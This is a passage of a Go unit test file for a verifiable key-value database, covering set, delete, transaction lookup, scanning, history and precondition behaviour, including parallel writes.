require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: nil, Value: []byte("value1"), }, }, }) require.ErrorIs(t, err, ErrIllegalArguments) hdr, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte("key1"), Value: []byte("value1"), }, }, }) require.NoError(t, err) t.Run("deletion with invalid indexing spec should return an error", func(t *testing.T) { _, err = db.Delete(context.Background(), &schema.DeleteKeysRequest{ Keys: [][]byte{ []byte("key1"), }, SinceTx: hdr.Id + 1, }) require.ErrorIs(t, err, store.ErrTxNotFound) }) _, err = db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("key1"), }) require.NoError(t, err) hdr, err = db.Delete(context.Background(), &schema.DeleteKeysRequest{ Keys: [][]byte{ []byte("key1"), }, }) require.NoError(t, err) _, err = db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("key1"), }) require.ErrorIs(t, err, store.ErrKeyNotFound) _, err = db.VerifiableGet(context.Background(), &schema.VerifiableGetRequest{ KeyRequest: &schema.KeyRequest{ Key: []byte("key1"), AtTx: hdr.Id, }, }) require.ErrorIs(t, err, store.ErrKeyNotFound) tx, err := db.TxByID(context.Background(), &schema.TxRequest{ Tx: hdr.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{ Action: schema.EntryTypeAction_RESOLVE, }, }, }) require.NoError(t, err) require.NotNil(t, tx) require.Empty(t, tx.KvEntries) } func TestCurrentState(t *testing.T) { db := makeDb(t) for ind, val := range kvs { txhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}}) require.NoError(t, err) require.Equal(t, uint64(ind+1), txhdr.Id) time.Sleep(1 * time.Second) state, err := db.CurrentState() require.NoError(t, err) require.Equal(t, uint64(ind+1), state.TxId) } } func TestSafeSetGet(t *testing.T) { db := makeDb(t) state, err := db.CurrentState() require.NoError(t, err) _, err = db.VerifiableSet(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.VerifiableSet(context.Background(), &schema.VerifiableSetRequest{ SetRequest: &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte("Alberto"), Value: []byte("Tomba"), }, }, }, ProveSinceTx: 1, }) require.ErrorIs(t, err, ErrIllegalState) kv := []*schema.VerifiableSetRequest{ { SetRequest: &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte("Alberto"), Value: []byte("Tomba"), }, }, }, ProveSinceTx: state.TxId, }, { SetRequest: &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte("Jean-Claude"), Value: []byte("Killy"), }, }, }, ProveSinceTx: state.TxId, }, { SetRequest: &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte("Franz"), Value: []byte("Clamer"), }, }, }, ProveSinceTx: state.TxId, }, } for ind, val := range kv { vtx, err := db.VerifiableSet(context.Background(), val) require.NoError(t, err) require.NotNil(t, vtx) vit, err := db.VerifiableGet(context.Background(), &schema.VerifiableGetRequest{ KeyRequest: &schema.KeyRequest{ Key: val.SetRequest.KVs[0].Key, SinceTx: vtx.Tx.Header.Id, }, }) require.NoError(t, err) require.Equal(t, uint64(ind+1), vit.Entry.Tx) } } func TestSetGetAll(t *testing.T) { db := makeDb(t) kvs := []*schema.KeyValue{ { Key: []byte("Alberto"), Value: []byte("Tomba"), }, { Key: []byte("Jean-Claude"), Value: []byte("Killy"), }, { Key: []byte("Franz"), Value: []byte("Clamer"), }, } txhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: kvs}) require.NoError(t, err) require.Equal(t, uint64(1), txhdr.Id) itList, err := db.GetAll(context.Background(), &schema.KeyListRequest{ Keys: [][]byte{ []byte("Alberto"), []byte("Jean-Claude"), []byte("Franz"), }, SinceTx: txhdr.Id, }) require.NoError(t, err) for ind, val := range itList.Entries { require.Equal(t, kvs[ind].Value, val.Value) } } func TestTxByID(t *testing.T) { db := makeDb(t) _, err := db.TxByID(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) txhdr1, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ {Key: []byte("key0"), Value: []byte("value0")}, }, }) require.NoError(t, err) txhdr2, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: []byte("ref1"), ReferencedKey: []byte("key0"), }, }, }, { Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte("key1"), Value: []byte("value1"), }, }, }, { Operation: &schema.Op_ZAdd{ ZAdd: &schema.ZAddRequest{ Set: []byte("set1"), Score: 10, Key: []byte("key1"), }, }, }, }, }) require.NoError(t, err) _, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "CREATE TABLE mytable(id INTEGER AUTO_INCREMENT, PRIMARY KEY id)"}) require.NoError(t, err) _, ctx1, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "INSERT INTO mytable VALUES ()"}) require.NoError(t, err) require.Len(t, ctx1, 1) txhdr3 := ctx1[0].TxHeader() t.Run("values should not be resolved but digests returned in entries field", func(t *testing.T) { tx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr1.Id}) require.NoError(t, err) require.NotNil(t, tx) require.Len(t, tx.Entries, 1) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) for _, e := range tx.Entries { require.Len(t, e.Value, 0) } tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id}) require.NoError(t, err) require.NotNil(t, tx) require.Len(t, tx.Entries, 3) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) for _, e := range tx.Entries { require.Len(t, e.Value, 0) } tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr3.ID}) require.NoError(t, err) require.NotNil(t, tx) require.Len(t, tx.Entries, 1) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) for _, e := range tx.Entries { require.Len(t, e.Value, 0) } }) t.Run("values should not be resolved but digests returned in entries field", func(t *testing.T) { tx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr1.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_ONLY_DIGEST}, }}) require.NoError(t, err) require.NotNil(t, tx) require.Len(t, tx.Entries, 1) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) for _, e := range tx.Entries { require.Len(t, e.Value, 0) } tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_ONLY_DIGEST}, ZEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_ONLY_DIGEST}, }}) require.NoError(t, err) require.NotNil(t, tx) require.Len(t, tx.Entries, 3) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) for _, e := range tx.Entries { require.Len(t, e.Value, 0) } tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{ SqlEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_ONLY_DIGEST}, }}) require.NoError(t, err) require.NotNil(t, tx) require.Len(t, tx.Entries, 1) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) for _, e := range tx.Entries { require.Len(t, e.Value, 0) } }) t.Run("no entries should be returned if not explicitly included", func(t *testing.T) { tx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr1.Id, EntriesSpec: &schema.EntriesSpec{}}) require.NoError(t, err) require.NotNil(t, tx) require.Empty(t, tx.Entries) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{}}) require.NoError(t, err) require.NotNil(t, tx) require.Empty(t, tx.Entries) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{}}) require.NoError(t, err) require.NotNil(t, tx) require.Empty(t, tx.Entries) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) }) t.Run("no entries should be returned if explicitly excluded", func(t *testing.T) { tx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr1.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE}, }}) require.NoError(t, err) require.NotNil(t, tx) require.Empty(t, tx.Entries) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE}, ZEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE}, }}) require.NoError(t, err) require.NotNil(t, tx) require.Empty(t, tx.Entries) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{ SqlEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE}, }}) require.NoError(t, err) require.NotNil(t, tx) require.Empty(t, tx.Entries) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) }) t.Run("raw entries should be returned", func(t *testing.T) { tx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr1.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RAW_VALUE}, }}) require.NoError(t, err) require.NotNil(t, tx) require.Len(t, tx.Entries, 1) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) for _, e := range tx.Entries { hval := sha256.Sum256(e.Value) require.Equal(t, e.HValue, hval[:]) } tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{ ZEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RAW_VALUE}, }}) require.NoError(t, err) require.NotNil(t, tx) require.Len(t, tx.Entries, 1) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) for _, e := range tx.Entries { hval := sha256.Sum256(e.Value) require.Equal(t, e.HValue, hval[:]) } tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{ SqlEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RAW_VALUE}, }}) require.NoError(t, err) require.NotNil(t, tx) require.Len(t, tx.Entries, 1) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) for _, e := range tx.Entries { hval := sha256.Sum256(e.Value) require.Equal(t, e.HValue, hval[:]) } }) t.Run("only kv entries should be resolved", func(t *testing.T) { tx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RESOLVE}, }}) require.NoError(t, err) require.NotNil(t, tx) require.Empty(t, tx.Entries) require.Len(t, tx.KvEntries, 2) require.Empty(t, tx.ZEntries) for i, e := range tx.KvEntries { require.Equal(t, []byte(fmt.Sprintf("key%d", i)), e.Key) require.Equal(t, []byte(fmt.Sprintf("value%d", i)), e.Value) } }) t.Run("only kv entries should be resolved (but not references)", func(t *testing.T) { tx, err := db.TxByID(context.Background(), &schema.TxRequest{ Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RESOLVE}, }, KeepReferencesUnresolved: true, }) require.NoError(t, err) require.NotNil(t, tx) require.Empty(t, tx.Entries) require.Len(t, tx.KvEntries, 2) require.Empty(t, tx.ZEntries) for i, e := range tx.KvEntries { require.Equal(t, []byte(fmt.Sprintf("key%d", i)), e.Key) if e.ReferencedBy == nil { require.Equal(t, []byte(fmt.Sprintf("value%d", i)), e.Value) } else { require.Empty(t, e.Value) } } }) t.Run("only zentries should be resolved", func(t *testing.T) { tx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{ ZEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RESOLVE}, }}) require.NoError(t, err) require.NotNil(t, tx) require.Empty(t, tx.Entries) require.Empty(t, tx.KvEntries) require.Len(t, tx.ZEntries, 1) require.Equal(t, []byte("set1"), tx.ZEntries[0].Set) require.Equal(t, []byte("key1"), tx.ZEntries[0].Key) require.Equal(t, float64(10), tx.ZEntries[0].Score) require.NotNil(t, tx.ZEntries[0].Entry) }) t.Run("only zentries should be resolved (but not including entries)", func(t *testing.T) { tx, err := db.TxByID(context.Background(), &schema.TxRequest{ Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{ ZEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RESOLVE}, }, KeepReferencesUnresolved: true, }) require.NoError(t, err) require.NotNil(t, tx) require.Empty(t, tx.Entries) require.Empty(t, tx.KvEntries) require.Len(t, tx.ZEntries, 1) require.Equal(t, []byte("set1"), tx.ZEntries[0].Set) require.Equal(t, []byte("key1"), tx.ZEntries[0].Key) require.Equal(t, float64(10), tx.ZEntries[0].Score) require.Nil(t, tx.ZEntries[0].Entry) }) t.Run("sql entries can not be resolved", func(t *testing.T) { _, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{ SqlEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RESOLVE}, }}) require.ErrorIs(t, err, ErrIllegalArguments) }) } func TestVerifiableTxByID(t *testing.T) { db := makeDb(t) _, err := db.VerifiableTxByID(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) var txhdr *schema.TxHeader for _, val := range kvs { txhdr, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}}) require.NoError(t, err) } t.Run("values should be returned", func(t *testing.T) { vtx, err := db.VerifiableTxByID(context.Background(), &schema.VerifiableTxRequest{ Tx: txhdr.Id, ProveSinceTx: 0, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{ Action: schema.EntryTypeAction_RAW_VALUE, }, }, }) require.NoError(t, err) require.NotNil(t, vtx) require.Len(t, vtx.Tx.Entries, 1) hval := sha256.Sum256(vtx.Tx.Entries[0].Value) require.Equal(t, vtx.Tx.Entries[0].HValue, hval[:]) }) t.Run("values should not be returned", func(t *testing.T) { vtx, err := db.VerifiableTxByID(context.Background(), &schema.VerifiableTxRequest{ Tx: txhdr.Id, ProveSinceTx: 0, }) require.NoError(t, err) require.NotNil(t, vtx) require.Len(t, vtx.Tx.Entries, 1) require.Len(t, vtx.Tx.Entries[0].Value, 0) }) } func TestTxScan(t *testing.T) { db := makeDb(t) db.maxResultSize = len(kvs) initialState, err := db.CurrentState() require.NoError(t, err) for _, val := range kvs { _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}}) require.NoError(t, err) } _, err = db.TxScan(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.TxScan(context.Background(), &schema.TxScanRequest{ InitialTx: 0, }) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.TxScan(context.Background(), &schema.TxScanRequest{ InitialTx: 1, Limit: uint32(db.MaxResultSize() + 1), }) require.ErrorIs(t, err, ErrResultSizeLimitExceeded) t.Run("values should be returned reaching result size limit", func(t *testing.T) { txList, err := db.TxScan(context.Background(), &schema.TxScanRequest{ InitialTx: initialState.TxId + 1, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{ Action: schema.EntryTypeAction_RAW_VALUE, }, }, }) require.NoError(t, err) require.Len(t, txList.Txs, len(kvs)) for i := 0; i < len(kvs); i++ { require.Equal(t, kvs[i].Key, TrimPrefix(txList.Txs[i].Entries[0].Key)) hval := sha256.Sum256(txList.Txs[i].Entries[0].Value) require.Equal(t, txList.Txs[i].Entries[0].HValue, hval[:]) } }) t.Run("values should be returned without reaching result size limit", func(t *testing.T) { limit := db.MaxResultSize() - 1 txList, err := db.TxScan(context.Background(), &schema.TxScanRequest{ InitialTx: initialState.TxId + 1, Limit: uint32(limit), EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{ Action: schema.EntryTypeAction_RAW_VALUE, }, }, }) require.NoError(t, err) require.Len(t, txList.Txs, limit) for i := 0; i < limit; i++ { require.Equal(t, kvs[i].Key, TrimPrefix(txList.Txs[i].Entries[0].Key)) hval := sha256.Sum256(txList.Txs[i].Entries[0].Value) require.Equal(t, txList.Txs[i].Entries[0].HValue, hval[:]) } }) t.Run("values should not be returned", func(t *testing.T) { txList, err := db.TxScan(context.Background(), &schema.TxScanRequest{ InitialTx: initialState.TxId + 1, }) require.NoError(t, err) require.Len(t, txList.Txs, len(kvs)) for i := 0; i < len(kvs); i++ { require.Equal(t, kvs[i].Key, TrimPrefix(txList.Txs[i].Entries[0].Key)) require.Len(t, txList.Txs[i].Entries[0].Value, 0) } }) } func TestHistory(t *testing.T) { db := makeDb(t) db.maxResultSize = 2 var lastTx uint64 for _, val := range kvs { _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}}) require.NoError(t, err) } err := db.FlushIndex(nil) require.ErrorIs(t, err, ErrIllegalArguments) err = db.FlushIndex(&schema.FlushIndexRequest{CleanupPercentage: 100, Synced: true}) require.NoError(t, err) _, err = db.Delete(context.Background(), &schema.DeleteKeysRequest{Keys: [][]byte{kvs[0].Key}}) require.NoError(t, err) meta, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: kvs[0].Key, Value: kvs[0].Value, }}, }) require.NoError(t, err) lastTx = meta.Id time.Sleep(1 * time.Millisecond) _, err = db.History(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.History(context.Background(), &schema.HistoryRequest{ Key: kvs[0].Key, SinceTx: lastTx, Limit: int32(db.MaxResultSize() + 1), }) require.ErrorIs(t, err, ErrResultSizeLimitExceeded) inc, err := db.History(context.Background(), &schema.HistoryRequest{ Key: kvs[0].Key, SinceTx: lastTx, }) require.NoError(t, err) for i, val := range inc.Entries { require.Equal(t, kvs[0].Key, val.Key) if val.GetMetadata().GetDeleted() { require.Empty(t, val.Value) } else { require.Equal(t, kvs[0].Value, val.Value) } require.EqualValues(t, i+1, val.Revision) } dec, err := db.History(context.Background(), &schema.HistoryRequest{ Key: kvs[0].Key, SinceTx: lastTx, Desc: true, }) require.NoError(t, err) for i, val := range dec.Entries { require.Equal(t, kvs[0].Key, val.Key) if val.GetMetadata().GetDeleted() { require.Empty(t, val.Value) } else { require.Equal(t, kvs[0].Value, val.Value) } require.EqualValues(t, 3-i, val.Revision) } inc, err = db.History(context.Background(), &schema.HistoryRequest{ Key: kvs[0].Key, Offset: uint64(len(kvs) + 1), SinceTx: lastTx, }) require.NoError(t, err) require.Empty(t, inc.Entries) } func TestPreconditionedSet(t *testing.T) { db := makeDb(t) _, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key-no-preconditions"), Value: []byte("value"), }}, }) require.NoError(t, err, "could not set a value without preconditions") _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte("value"), }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustExist([]byte("key")), }, }) require.ErrorIs(t, err, store.ErrPreconditionFailed, "did not detect missing key when MustExist precondition was present") tx1, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte("value"), }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustNotExist([]byte("key")), }, }) require.NoError(t, err, "failed to add a key with MustNotExist precondition even though the key does not exist") _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte("value"), }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustNotExist([]byte("key")), }, }) require.ErrorIs(t, err, store.ErrPreconditionFailed, "did not detect existing key even though MustNotExist precondition was used") tx2, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte("value"), }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustExist([]byte("key")), }, }) require.NoError(t, err, "did not add a key even though MustExist precondition was successful") _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte("value"), }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyNotModifiedAfterTX([]byte("key"), tx1.Id), }, }) require.ErrorIs(t, err, store.ErrPreconditionFailed, "did not detect NotModifiedAfterTX precondition") _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte("value"), }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyNotModifiedAfterTX([]byte("key"), tx2.Id), }, }) require.NoError(t, err, "did not add valid entry with NotModifiedAfterTX precondition") _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte("value"), }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyNotModifiedAfterTX([]byte("key"), tx2.Id), }, }) require.ErrorIs(t, err, store.ErrPreconditionFailed, "did not detect failed NotModifiedAfterTX precondition after new entry was added") _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key2"), Value: []byte("value"), }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyNotModifiedAfterTX([]byte("key2"), tx2.Id), }, }) require.NoError(t, err, "did not add entry with NotModifiedAfterTX precondition when the key does not exist") _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key3"), Value: []byte("value"), }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustExist([]byte("key3")), schema.PreconditionKeyNotModifiedAfterTX([]byte("key3"), tx2.Id), }, }) require.ErrorIs(t, err, store.ErrPreconditionFailed, "did not detect failed mix of NotModifiedAfterTX and MustExist preconditions when the key does not exist") _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key3"), Value: []byte("value"), }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustExist([]byte("key3")), schema.PreconditionKeyMustNotExist([]byte("key3")), }, }) require.ErrorIs(t, err, store.ErrPreconditionFailed, "did not detect failed mix of MustNotExist and MustExist preconditions when the key does not exist") _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte("key4-no-preconditions"), Value: []byte("value"), }, { Key: []byte("key5-with-preconditions"), Value: []byte("value"), }, }, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustExist([]byte("key5-with-preconditions")), }, }) require.ErrorIs(t, err, store.ErrPreconditionFailed, "did not fail even though one of KV entries failed precondition check") _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte("key4-no-preconditions"), Value: []byte("value"), }, }, Preconditions: []*schema.Precondition{nil}, }) require.ErrorIs(t, err, store.ErrInvalidPrecondition, "did not fail when invalid nil precondition was given") _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte("key6"), Value: []byte("value"), }, }, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustNotExist( []byte("key6-too-long-key" + strings.Repeat("*", db.GetOptions().storeOpts.MaxKeyLen)), ), }, }) require.ErrorIs(t, err, store.ErrInvalidPrecondition, "did not fail when invalid nil precondition was given") c := []*schema.Precondition{} for i := 0; i <= db.GetOptions().storeOpts.MaxTxEntries; i++ { c = append(c, schema.PreconditionKeyMustNotExist([]byte(fmt.Sprintf("key_%d", i)))) } _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte("key6"), Value: []byte("value"), }, }, Preconditions: c, }) require.ErrorIs(t, err, store.ErrInvalidPrecondition, "did not fail when too many preconditions were given") } func TestPreconditionedSetParallel(t *testing.T) { db := makeDb(t) const parallelism = 10 runInParallel := func(f func(i int) error) (failCount int32, successCount int32, badErrorCount int32) { var wg, wg2 sync.WaitGroup wg.Add(parallelism) wg2.Add(parallelism) for i := 0; i < parallelism; i++ { go func(i int) { defer wg2.Done() // Sync all goroutines to a single point wg.Done() wg.Wait() err := f(i) if err == nil { atomic.AddInt32(&successCount, 1) } else if errors.Is(err, store.ErrPreconditionFailed) { atomic.AddInt32(&failCount, 1) } else { log.Println(err) atomic.AddInt32(&badErrorCount, 1) } }(i) } wg2.Wait() return failCount, successCount, badErrorCount } t.Run("Set", func(t *testing.T) { t.Run("MustNotExist", func(t *testing.T) { var wg, wg2 sync.WaitGroup wg.Add(parallelism) wg2.Add(parallelism) failCount, successCount, badError := runInParallel(func(i int) error { _, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte(`key`), Value: []byte(fmt.Sprintf("goroutine: %d", i)), }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustNotExist([]byte(`key`)), }, }) return err }) require.EqualValues(t, 1, successCount) require.EqualValues(t, parallelism-1, failCount) require.Zero(t, badError) }) t.Run("MustExist", func(t *testing.T) { failCount, successCount, badError := runInParallel(func(i int) error { _, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte(`key`), Value: []byte(fmt.Sprintf("goroutine: %d", i)), }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustExist([]byte(`key`)), }, }) return err }) require.EqualValues(t, parallelism, successCount) require.Zero(t, failCount) require.Zero(t, badError) }) t.Run("NotModifiedAfterTX", func(t *testing.T) { tx, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{ Key: []byte(`key`), Value: []byte(`base value`), }}}) require.NoError(t, err) failCount, successCount, badError := runInParallel(func(i int) error { _, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte(`key`), Value: []byte(fmt.Sprintf("goroutine: %d", i)), }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyNotModifiedAfterTX([]byte(`key`), tx.Id), }, }) return err }) require.EqualValues(t, 1, successCount) require.EqualValues(t, parallelism-1, failCount) require.Zero(t, badError) }) }) t.Run("Reference", func(t *testing.T) { t.Run("MustNotExist", func(t *testing.T) { var wg, wg2 sync.WaitGroup wg.Add(parallelism) wg2.Add(parallelism) failCount, successCount, badError := runInParallel(func(i int) error { _, err := db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte(`reference`), ReferencedKey: []byte(`key`), Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustNotExist([]byte(`reference`)), }, }) return err }) require.EqualValues(t, 1, successCount) require.EqualValues(t, parallelism-1, failCount) require.Zero(t, badError) }) t.Run("MustExist", func(t *testing.T) { failCount, successCount, badError := runInParallel(func(i int) error { _, err := db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte(`reference`), ReferencedKey: []byte(`key`), Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustExist([]byte(`reference`)), }, }) return err }) require.EqualValues(t, parallelism, successCount) require.Zero(t, failCount) require.Zero(t, badError) }) t.Run("NotModifiedAfterTX", func(t *testing.T) { tx, err := db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte(`reference`), ReferencedKey: []byte(`key`), }) require.NoError(t, err) failCount, successCount, badError := runInParallel(func(i int) error { _, err := db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte(`reference`), ReferencedKey: []byte(`key`), Preconditions: []*schema.Precondition{ schema.PreconditionKeyNotModifiedAfterTX([]byte(`reference`), tx.Id), }, }) return err }) require.EqualValues(t, 1, successCount) require.EqualValues(t, parallelism-1, failCount) require.Zero(t, badError) }) }) t.Run("ExecAll-KV", func(t *testing.T) { t.Run("MustNotExist", func(t *testing.T) { var wg, wg2 sync.WaitGroup wg.Add(parallelism) wg2.Add(parallelism) failCount, successCount, badError := runInParallel(func(i int) error { _, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte(`key-ea`), Value: []byte(fmt.Sprintf("goroutine: %d", i)), }, }, }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustNotExist([]byte(`key-ea`)), }, }) return err }) require.EqualValues(t, 1, successCount) require.EqualValues(t, parallelism-1, failCount) require.Zero(t, badError) }) t.Run("MustExist", func(t *testing.T) { failCount, successCount, badError := runInParallel(func(i int) error { _, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte(`key-ea`), Value: []byte(fmt.Sprintf("goroutine: %d", i)), }, }, }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustExist([]byte(`key-ea`)), }, }) return err }) 